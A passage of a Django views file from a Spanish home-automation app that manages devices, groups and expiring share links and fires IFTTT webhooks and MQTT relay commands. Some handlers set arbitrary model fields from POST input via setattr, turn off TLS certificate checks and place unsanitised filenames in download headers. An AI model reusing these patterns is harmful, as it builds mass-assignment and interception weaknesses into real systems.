'borra_etiqueta' and g_e.has_permiso('borra_cualquier_carpeta'):\n            try:\n                Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, id=request.POST['etiqueta']).delete()\n                html = render_to_string('dispositivos_table_tr.html', {'disps': disps, 'g_e': g_e})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'busca_disps_manual':\n            try:\n                try:\n                    inicio = datetime.strptime(request.POST['inicio'], '%Y-%m-%d').date()\n                except:\n                    inicio = datetime.strptime('1900-1-1', '%Y-%m-%d').date()\n                try:\n                    fin = datetime.strptime(request.POST['fin'], '%Y-%m-%d').date()\n                except:\n                    fin = datetime.now().date()\n                texto = request.POST['texto']\n                try:\n                    etiqueta = Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad, id=request.POST['etiqueta'])\n                except:\n                    etiqueta = None\n                if etiqueta:\n                    q = Q(propietario__ronda__entidad=g_e.ronda.entidad) & Q(\n                        creado__gte=inicio) & Q(creado__lte=fin) & Q(\n                        nombre__icontains=texto) & Q(etiqueta__in=etiqueta.hijos)\n                else:\n                    q = Q(propietario__ronda__entidad=g_e.ronda.entidad) & Q(\n                        creado__gte=inicio) & Q(creado__lte=fin) & Q(\n                        nombre__icontains=texto)\n\n                disps_search = disps.filter(q)\n                html = render_to_string('dispositivos_table_tr.html', {'disps': disps_search, 'g_e': g_e})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'ver_formulario_editar':\n            try:\n                disp = disps.get(id=request.POST['disp'])\n                if g_e.has_permiso('edita_todos_archivos') or disp.permiso_w(g_e.gauser) or disp.permiso_x(g_e.gauser):\n                    hoy = datetime.now().date()\n                    subentidades = Subentidad.objects.filter(entidad=g_e.ronda.entidad, fecha_expira__gte=hoy)\n                    cargos = Cargo.objects.filter(entidad=g_e.ronda.entidad)\n                    d = {'g_e': g_e, 'cargos': cargos, 'subentidades': subentidades, 'etiquetas': etiquetas, 'd': disp}\n                    html = render_to_string(\"dispositivos_table_tr_device_edit.html\", d)\n                    return JsonResponse({'ok': True, 'html': html})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': 'No tienes los permisos necesarios.'})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'update_archivo':\n            try:\n                disp = disps.get(id=request.POST['disp'])\n                if g_e.has_permiso('edita_todos_archivos') or disp.permiso_w(g_e.gauser) or disp.permiso_x(g_e.gauser):\n                    disp.nombre = request.POST['nombre']\n                    disp.etiqueta = Etiqueta_domotica.objects.get(id=request.POST['etiqueta'])\n                    disp.cargos.clear()\n                    disp.acceden.clear()\n                    cargos = Cargo.objects.filter(entidad=g_e.ronda.entidad, id__in=request.POST.getlist('cargos[]'))\n                    subs = Subentidad.objects.filter(entidad=g_e.ronda.entidad, id__in=request.POST.getlist('subs[]'))\n                    disp.cargos.add(*cargos)\n                    disp.acceden.add(*subs)\n                    disp.save()\n                    html = render_to_string('dispositivos_table_tr_device.html', {'d': disp, 'g_e': g_e})\n                    return JsonResponse({'ok': True, 'html': html})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': 'No tienes los permisos necesarios.'})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'borrar_dispositivo':\n            disp = disps.get(id=request.POST['disp'])\n            if disp.permiso_x(g_e.gauser) or disp.propietario == g_e or g_e.has_permiso('borra_cualquier_archivo'):\n                GauserPermitidoDispositivo.objects.filter(dispositivo=disp, gauser=g_e.gauser).delete()\n                otros = GauserPermitidoDispositivo.objects.filter(dispositivo=disp).count()\n                if otros == 0:\n                    disp.delete()\n                return JsonResponse(\n                    {'ok': True, 'mensaje': 'Dispositivo borrado. Ahora pueden verlo %s personas' % otros})\n            else:\n                return JsonResponse({'ok': False, 'mensaje': 'No ha sido posible borrar el dispositivo.'})\n        elif request.POST['action'] == 'borrar_disp_completamente':\n            disp = disps.get(id=request.POST['disp'])\n            if g_e.has_permiso('borra_cualquier_archivo'):\n                todos = GauserPermitidoDispositivo.objects.filter(dispositivo=disp)\n                todos.delete()\n                disp.delete()\n                return JsonResponse({'ok': True, 'mensaje': 'Dispositivo borrado por completo.'})\n            else:\n                return JsonResponse({'ok': False, 'mensaje': 'No ha sido posible borrar el dispositivo.'})\n        else:\n            return JsonResponse({'ok': False, 'mensaje': 'No tiene los permisos necesarios.'})\n\n    elif request.method == 'POST':\n        if request.POST['action'] == 'crea_dispositivo43254432':\n            n_files = int(request.POST['n_files'])\n            if g_e.has_permiso('crea_dispositivos_domotica'):\n                try:\n                    for i in range(n_files):\n                        fichero = request.FILES['fichero_xhr' + str(i)]\n                        try:\n                            etiqueta = Etiqueta_domotica.objects.get(entidad=g_e.ronda.entidad,\n                                                                     id=request.POST['etiqueta'])\n                        except:\n                            etiqueta, c = Etiqueta_domotica.objects.get_or_create(entidad=g_e.ronda.entidad,\n                                                                                  nombre='General')\n                        disp = Dispositivo.objects.create(propietario=g_e, content_type=fichero.content_type,\n                                                          etiqueta=etiqueta, nombre=fichero.name, fichero=fichero)\n                        GauserPermitidoDispositivo.objects.create(gauser=g_e.gauser, dispositivo=disp, permiso='x')\n                        html = render_to_string('dispositivos_table_tr.html', {'disps': [disp], 'g_e': g_e})\n                        return JsonResponse({'ok': True, 'html': html, 'mensaje': False})\n                except:\n                    return JsonResponse({'ok': False, 'mensaje': 'Se ha producido un error.'})\n            else:\n                mensaje = 'No tienes permiso para cargar programaciones.'\n                return JsonResponse({'ok': False, 'mensaje': mensaje})\n\n        elif request.POST['action'] == 'descargar_disp':\n            try:\n                d = disps.get(id=request.POST['dispositivo'])\n                fichero = d.fichero.read()\n                response = HttpResponse(fichero, content_type=d.content_type)\n                response['Content-Disposition'] = 'attachment; filename=' + d.fich_name\n                return response\n            except:\n                crear_aviso(request, False, 'Error. No se ha podido descargar el archivo.')\n\n    return render(request, \"dispositivos.html\",\n                  {\n                      'iconos':\n                          ({'tipo': 'button', 'nombre': 'plus', 'texto': 'Añadir',\n                            'permiso': 'crea_dispositivos_domotica', 'title': 'Anadir un nuevo dispositivo'},\n                           {'tipo': 'button', 'nombre': 'folder', 'texto': 'Nueva', 'permiso': 'crea_carpetas',\n                            'title': 'Crear una nueva carpeta/etiqueta'},\n                           {'tipo': 'button', 'nombre': 'search', 'texto': 'Buscar/Filtrar',\n                            'permiso': 'libre',\n                            'title': 'Busca/Filtra resultados entre los diferentes archivos'},\n                           ),\n                      'g_e': g_e,\n                      'etiquetas': etiquetas,\n                      'disps': disps,\n                      'carpetas': Etiqueta_domotica.objects.filter(entidad=g_e.ronda.entidad),\n                      'formname': 'dispositivos',\n                      'carpeta_id': 'todas',  # Este identificador implica leer todas las carpetas\n                      'avisos': Aviso.objects.filter(usuario=g_e, aceptado=False),\n                  })\n\n\n@permiso_required('acceso_grupos_domotica')\ndef grupos_domotica(request):\n    g_e = request.session['gauser_extra']\n    grupos = Grupo.objects.filter(propietario=g_e.gauser)\n    return render(request, \"grupos_domotica.html\",\n                  {\n                      'formname': 'grupos_domotica',\n                      'iconos':\n                          ({'tipo': 'button', 'nombre': 'plus', 'texto': 'Nuevo grupo',\n                            'permiso': 'crea_grupos_domotica', 'title': 'Crear un nuevo grupo para domótica'},\n                           ),\n                      'avisos': Aviso.objects.filter(usuario=g_e, aceptado=False),\n                      'grupos': grupos,\n                  })\n\n\n@login_required()\ndef ajax_grupos_domotica(request):\n    g_e = request.session[\"gauser_extra\"]\n    if request.is_ajax():\n        if request.method == 'POST':\n            if request.POST['action'] == 'add_grupo' and g_e.has_permiso('crea_grupos_domotica'):\n                try:\n                    grupo = Grupo.objects.create(nombre='Nuevo grupo/ubicación', propietario=g_e.gauser)\n                    html = render_to_string('grupos_domotica_accordion.html', {'grupos': [grupo]})\n                    return JsonResponse({'html': html, 'ok': True})\n                except:\n                    return JsonResponse({'ok': False})\n            elif request.POST['action'] == 'open_accordion':\n                try:\n                    grupos_id = GauserPermitidoGrupo.objects.filter(gauser=g_e.gauser).values_list('grupo', flat=True)\n                    grupos = Grupo.objects.filter(id__in=grupos_id)\n                    grupo = grupos.get(id=request.POST['grupo'])\n                    html = render_to_string('grupos_domotica_accordion_content.html', {'grupo': grupo, 'g_e': g_e})\n                    return JsonResponse({'ok': True, 'html': html})\n                except:\n                    return JsonResponse({'ok': False})\n            elif request.POST['action'] == 'delete_grupo':\n                try:\n                    grupo = Grupo.objects.get(id=request.POST['grupo'])\n                    if grupo.propietario == g_e.gauser or g_e.has_permiso('borra_grupos_domotica'):\n                        grupo.delete()\n                        return JsonResponse({'ok': True, 'mensaje': \"El grupo se ha borrado sin incidencias.\"})\n                    else:\n                        return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de borrar el grupo.\"})\n                except:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de borrar el grupo.\"})\n\n            elif request.POST['action'] == 'update_campo':\n                try:\n                    grupo = Grupo.objects.get(id=request.POST['grupo'])\n                    if grupo.propietario == g_e.gauser or g_e.has_permiso('edita_grupos_domotica'):\n                        campo = request.POST['campo']\n                        valor = request.POST['valor']\n                        setattr(grupo, campo, valor)\n                        grupo.save()\n                        return JsonResponse({'ok': True, 'campo': campo, 'valor': valor})\n                    else:\n                        return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el grupo.\"})\n                except:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el grupo.\"})\n            elif request.POST['action'] == 'update_select':\n                try:\n                    grupo = Grupo.objects.get(id=request.POST['grupo'])\n                    grupo_padre = Grupo.objects.get(id=request.POST['grupo_padre'])\n                    q = grupo.propietario == g_e.gauser and grupo_padre.propietario == g_e.gauser\n                    if q or g_e.has_permiso('edita_grupos_domotica'):\n                        grupo.grupo_padre = grupo_padre\n                        grupo.save()\n                        return JsonResponse({'ok': True})\n                    else:\n                        return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el grupo.\"})\n                except:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el grupo.\"})\n            elif request.POST['action'] == 'update_usuarios_autorizados':\n                try:\n                    grupo = Grupo.objects.get(id=request.POST['grupo'])\n                    operacion = request.POST['operacion']\n                    if operacion == 'add':\n                        autorizado = Gauser_extra.objects.get(id=request.POST['autorizado'][1:]).gauser\n                    elif operacion == 'delete' or operacion == 'change_permiso':\n                        gpg = GauserPermitidoGrupo.objects.get(id=request.POST['autorizado'])\n                        autorizado = gpg.gauser\n                    else:\n                        autorizado = None\n                    # Condiciones con las que tendría permiso para editar el grupo y añadir autorizados:\n                    c1 = grupo.gauserpermitidogrupo_set.filter(gauser=g_e.gauser, permiso__icontains='VUE').count() > 0\n                    c2 = g_e.has_permiso('edita_grupos_domotica')\n                    c3 = grupo.propietario == g_e.gauser\n                    if (c1 or c2 or c3) and request.POST['operacion'] == 'add':\n                        GauserPermitidoGrupo.objects.get_or_create(gauser=autorizado, grupo=grupo)\n                    elif (c1 or c2 or c3) and request.POST['operacion'] == 'delete':\n                        gpg.delete()\n                    elif (c1 or c2 or c3) and request.POST['operacion'] == 'change_permiso':\n                        gpg.permiso = request.POST['permiso']\n                        gpg.save()\n                    html = render_to_string('grupos_domotica_accordion_content_autorizados.html', {'grupo': grupo})\n                    return JsonResponse({'ok': True, 'html': html, 'permiso': c1 or c2 or c3})\n                except:\n                    return JsonResponse({'ok': False})\n\n# @permiso_required('acceso_configura_domotica')\ndef configura_domotica(request):\n    g_e = request.session['gauser_extra']\n    # gauser_permitido = GauserPermitido.objects.filter(gauser=g_e.gauser)\n    # dispositivos_permitidos = gauser_permitido.values_list('dispositivo__id', flat=True)\n    # secuencias_permitidas = gauser_permitido.values_list('secuencia__id', flat=True)\n    # conjuntos_permitidos = gauser_permitido.values_list('conjunto__id', flat=True)\n    # dispositivos = Dispositivo.objects.filter(Q(propietario=g_e.gauser) | Q(id__in=dispositivos_permitidos))\n    # secuencias = Secuencia.objects.filter(Q(propietario=g_e.gauser) | Q(id__in=secuencias_permitidas))\n    # conjuntos = Conjunto.objects.filter(Q(propietario=g_e.gauser) | Q(id__in=conjuntos_permitidos))\n\n    # if request.method == 'POST':\n    #     action = request.POST['action']\n    #     if action == 'libro_contabilidad_vut':\n    #         permiso = Permiso.objects.get(code_nombre='genera_libro_registro_policia')\n    #         grupo = Grupo.objects.get(id=request.POST['id_grupo'])\n    #         if has_permiso_on_grupo(g_e, grupo, permiso):\n    #             fecha_anterior_limite = datetime.today().date() - timedelta(1100)\n    #             viajeros = Viajero.objects.filter(reserva__grupo=grupo,\n    #                                               reserva__entrada__gte=fecha_anterior_limite)\n    #             c = render_to_string('libro_registro_policia.html',\n    #                                  {'grupo': grupo, 'viajeros': viajeros, 'ruta_base': RUTA_BASE})\n    #             ruta = '%s%s/%s/' % (MEDIA_VUT, grupo.gpropietario.id, grupo.id)\n    #             fich = html_to_pdf(request, c, fichero='libro_registros', media=ruta,\n    #                                title=u'Libro de registro de viajeros', tipo='sin_cabecera')\n    #             response = HttpResponse(fich, content_type='application/pdf')\n    #             response['Content-Disposition'] = 'attachment; filename=Libro_registro_viajeros.pdf'\n    #             return response\n    #     elif action == 'download_file_asiento':\n    #         asiento = AsientoVUT.objects.get(id=request.POST['asiento'])\n    #         permiso = Permiso.objects.get(code_nombre='edita_asiento_vut')\n    #         a = AutorizadoContabilidadVut.objects.filter(contabilidad=asiento.partida.contabilidad,\n    #                                                      autorizado=g_e.gauser, permisos__in=[permiso]).count()\n    #         if asiento.partida.contabilidad.propietario == g_e.gauser or a > 0:\n    #             fich = open(RUTA_BASE + asiento.fichero.url)\n    #             response = HttpResponse(fich, content_type=asiento.content_type)\n    #             response['Content-Disposition'] = 'attachment; filename=' + asiento.fich_name\n    #             return response\n\n    grupos_id = GauserPermitidoGrupo.objects.filter(gauser=g_e.gauser).values_list('grupo', flat=True)\n    return render(request, \"domotica.html\",\n                  {\n                      'formname': 'domotica',\n                      # 'iconos':\n                      #     ({'tipo': 'button', 'nombre': 'plus', 'permiso': 'crea_dispositivos_domotica',\n                      #       'texto': 'Nuevo dispositivo', 'title': 'Crear un nuevo dispositivo domótico'},\n                      #      ),\n                      'grupos': Grupo.objects.filter(id__in=grupos_id),\n                      'configuraciones_enlace': EnlaceDomotica.objects.filter(propietario=g_e.gauser),\n                      'avisos': Aviso.objects.filter(usuario=g_e, aceptado=False)\n                  })\n\n\ndef pulsador_domotico(d):\n    if d.plataforma == 'IFTTT':\n        try:\n            s = requests.Session()\n            s.verify = False\n            p = s.post(d.ifttt, timeout=5)\n            return {'ok': True, 'response': p.status_code}\n        except:\n            return {'ok': False}\n    elif d.plataforma == 'ESPURNA':\n        if d.tipo == 'SELFLOCKING':\n            topic = '{0}/relay/0/set'.format(d.mqtt_topic)\n            client.publish(topic, 1)\n        elif d.tipo == 'ONOFF':\n            topic = '{0}/relay/0/set'.format(d.mqtt_topic)\n            client.publish(topic, 2)\n        else:\n            return {'ok': False, 'mensaje': 'No detecta tipo'}\n        # client.disconnect()\n        return {'ok': True}\n    else:\n        return {'ok': False, 'mensaje': 'No detecta plataforma'}\n\n\n@login_required()\ndef ajax_configura_domotica(request):\n    g_e = request.session[\"gauser_extra\"]\n    if request.is_ajax():\n        if request.POST['action'] == 'open_accordion':\n            try:\n                grupos_id = GauserPermitidoGrupo.objects.filter(gauser=g_e.gauser).values_list('grupo', flat=True)\n                grupos = Grupo.objects.filter(id__in=grupos_id)\n                grupo = grupos.get(id=request.POST['grupo'])\n                gdispositivos = GauserPermitidoDispositivo.objects.filter(dispositivo__grupo=grupo, gauser=g_e.gauser)\n                if g_e.gauser.username == 'gauss':\n                    viviendas_posibles = Vivienda.objects.filter(borrada=False)\n                else:\n                    viviendas_posibles = viviendas_autorizado(g_e)\n                html = render_to_string('domotica_accordion_content.html',\n                                        {'gdispositivos': gdispositivos, 'grupo': grupo, 'g_e': g_e,\n                                         'grupos': grupos, 'viviendas_posibles': viviendas_posibles})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'add_dispositivo_domotica':\n            try:\n                if g_e.has_permiso('crea_dispositivos_domotica'):\n                    grupos_id = GauserPermitidoGrupo.objects.filter(gauser=g_e.gauser).values_list('grupo', flat=True)\n                    grupos = Grupo.objects.filter(id__in=grupos_id)\n                    grupo = grupos.get(id=request.POST['grupo'])\n                    d = Dispositivo.objects.create(propietario=g_e.gauser, nombre='Nombre del dispositivo', grupo=grupo)\n                    gdispositivo = GauserPermitidoDispositivo.objects.get(gauser=g_e.gauser, dispositivo=d)\n                    html = render_to_string('domotica_accordion_content_dispositivo.html',\n                                            {'g_e': g_e, 'gdispositivo': gdispositivo, 'grupos': grupos})\n                    return JsonResponse({'ok': True, 'html': html})\n                else:\n                    return JsonResponse({'ok': False})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'delete_dispositivo_domotica':\n            try:\n                d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n                if d.permiso(g_e.gauser) == 'BORRAR' or g_e.has_permiso('borra_dispositivos_domotica'):\n                    d.delete()\n                    return JsonResponse({'ok': True})\n                else:\n                    return JsonResponse({'ok': False})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'update_campo':\n            try:\n                d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n                if 'E' in d.permiso(g_e.gauser) or g_e.has_permiso('edita_dispositivos_domotica'):\n                    campo = request.POST['campo']\n                    valor = request.POST['valor']\n                    setattr(d, campo, valor)\n                    d.save()\n                    return JsonResponse({'ok': True, 'campo': campo, 'valor': valor})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n            except:\n                return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n        elif request.POST['action'] == 'update_plataforma':\n            try:\n                d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n                if 'E' in d.permiso(g_e.gauser) or g_e.has_permiso('edita_dispositivos_domotica'):\n                    d.plataforma = request.POST['valor']\n                    d.save()\n                    return JsonResponse({'ok': True, 'campo': 'plataforma', 'valor': request.POST['valor']})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n            except:\n                return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n        elif request.POST['action'] == 'update_tipo_dispositivo':\n            try:\n                d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n                if 'E' in d.permiso(g_e.gauser) or g_e.has_permiso('edita_dispositivos_domotica'):\n                    d.tipo = request.POST['valor']\n                    d.save()\n                    return JsonResponse({'ok': True, 'campo': 'tipo', 'valor': request.POST['valor']})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n            except:\n                return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n        elif request.POST['action'] == 'update_grupo_dispositivo':\n            try:\n                d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n                if 'E' in d.permiso(g_e.gauser) or g_e.has_permiso('edita_dispositivos_domotica'):\n                    grupo = Grupo.objects.get(id=request.POST['valor'])\n                    d.grupo = grupo\n                    d.save()\n                    return JsonResponse({'ok': True, 'valor': request.POST['valor']})\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n            except:\n                return JsonResponse({'ok': False, 'mensaje': \"Error al tratar de editar el dispositivo.\"})\n        elif request.POST['action'] == 'pulsador_domotico':\n            d = Dispositivo.objects.get(id=request.POST['dispositivo'])\n            respuesta = pulsador_domotico(d)\n            return JsonResponse(respuesta)\n            if d.plataforma == 'IFTTT':\n                try:\n                    s = requests.Session()\n                    s.verify = False\n                    p = s.post(d.ifttt, timeout=5)\n                    return JsonResponse({'ok': True, 'response': p.status_code})\n                except:\n                    return JsonResponse({'ok': False})\n            elif d.plataforma == 'ESPURNA':\n                if d.tipo == 'SELFLOCKING':\n                    topic = '{0}/relay/0/set'.format(d.mqtt_topic)\n                    client.publish(topic, 1)\n                elif d.tipo == 'ONOFF':\n                    topic = '{0}/relay/0/set'.format(d.mqtt_topic)\n                    client.publish(topic, 2)\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': 'No detecta tipo'})\n                # client.disconnect()\n                return JsonResponse({'ok': True})\n            else:\n                return JsonResponse({'ok': False, 'mensaje': 'No detecta plataforma'})\n        elif request.POST['action'] == 'copiar_dispositivo':\n            try:\n                if g_e.gauser.username == 'gauss':\n                    viviendas = Vivienda.objects.filter(borrada=False)\n                else:\n                    viviendas = viviendas_autorizado(g_e)\n                vivienda = viviendas.get(id=request.POST['vivienda'])\n                dispositivo = Dispositivo.objects.get(id=request.POST['id'])\n                dv, c = DomoticaVUT.objects.get_or_create(vivienda=vivienda, dispositivo=dispositivo)\n                dv.propietario = g_e.gauser\n                dv.url = dispositivo.ifttt\n                dv.nombre = dispositivo.nombre\n                dv.texto = dispositivo.texto\n                dv.tipo = dispositivo.tipo\n                dv.save()\n                return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'add_enlace_domotica':\n            enlace = EnlaceDomotica.objects.create(propietario=g_e.gauser, nombre='', valido_desde=timezone.now(),\n                                                   valido_hasta=timezone.now())\n            html = render_to_string('enlace_accordion.html', {'enlace': enlace})\n            return JsonResponse({'ok': True, 'html': html})\n        elif request.POST['action'] == 'open_accordion_enlace':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['enlace'], propietario=g_e.gauser)\n                gdispositivos = GauserPermitidoDispositivo.objects.filter(gauser=g_e.gauser).order_by(\n                    'dispositivo__grupo')\n                html = render_to_string('enlace_accordion_content.html',\n                                        {'enlace': enlace, 'gdispositivos': gdispositivos})\n                return JsonResponse({'ok': True, 'html': html})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'enlace_dispositivos':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['id'], propietario=g_e.gauser)\n                enlace.dispositivos.clear()\n                enlace.dispositivos.add(*request.POST.getlist('valor[]'))\n                return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'enlace_nombre':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['id'], propietario=g_e.gauser)\n                enlace.nombre = request.POST['valor']\n                enlace.save()\n                return JsonResponse({'ok': True, 'nombre': enlace.nombre})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'enlace_valido_hasta':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['id'], propietario=g_e.gauser)\n                enlace.valido_hasta = timezone.make_aware(datetime.strptime(request.POST['valor'], '%H:%M %d-%m-%Y'))\n                enlace.save()\n                return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'enlace_valido_desde':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['id'], propietario=g_e.gauser)\n                enlace.valido_desde = timezone.make_aware(datetime.strptime(request.POST['valor'], '%H:%M %d-%m-%Y'))\n                enlace.save()\n                return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n        elif request.POST['action'] == 'del_enlace':\n            try:\n                enlace = EnlaceDomotica.objects.get(id=request.POST['id'], propietario=g_e.gauser)\n                enlace.delete()\n                return JsonResponse({'ok': True})\n            except:\n                return JsonResponse({'ok': False})\n\n\ndef lnk(request):\n    ahora = timezone.make_aware(datetime.today())\n    if request.method == 'GET':\n        try:\n            secret = request.GET['s']\n            enlace = EnlaceDomotica.objects.get(secret=secret)\n            if enlace.valido_desde > ahora:\n                return render(request, \"enlace_domotica_error.html\", {'tipo': 'temprano'})\n            elif enlace.valido_hasta < ahora:\n                return render(request, \"enlace_domotica_error.html\", {'tipo': 'pasado'})\n            else:\n                return render(request, \"enlace_domotica.html\",\n                              {\n                                  'formname': 'enlace_domotica',\n                                  'enlace': enlace\n                              })\n        except:\n            return render(request, \"enlace_domotica_error.html\", {'tipo': 'noexiste'})\n    elif request.method == 'POST' and request.is_ajax():\n        if request.POST['action'] == 'boton_domotico':\n            try:\n                enlace = EnlaceDomotica.objects.get(secret=request.POST['secret'])\n                dispositivo = Dispositivo.objects.get(id=request.POST['id'])\n                if dispositivo in enlace.dispositivos.all():\n                    respuesta = pulsador_domotico(dispositivo)\n                    return JsonResponse(respuesta)\n                else:\n                    return JsonResponse({'ok': False, 'mensaje': 'Error dispositivo'})\n            except:\n                return JsonResponse({'ok': False, 'mensaje': 'Error getting object'})\n\n    return JsonResponse({'ok': False})\n", "repo_name": "jjmartinr01/gauss3", "sub_path": "domotica/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 38513, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.models.Q", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 37, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 43, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 61, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 62, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 64, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 67, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 68, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 74, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 76, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 78, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 84, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 93, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 94, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 96, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 99, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 100, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 102, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 108, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 115, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 117, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 121, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 122, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 128, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 128, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 130, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 130, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 132, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 134, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 141, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 142, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 143, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 145, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 146, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 150, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 151, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 153, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 158, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 162, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 163, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 165, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 167, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 181, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 182, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 184, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 186, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 194, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 197, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 204, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 206, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 208, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 226, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 227, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 229, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 232, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 238, "usage_type": "call"}, {"api_name": "mensajes.views.crear_aviso", "line_number": 242, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 244, "usage_type": "call"}, 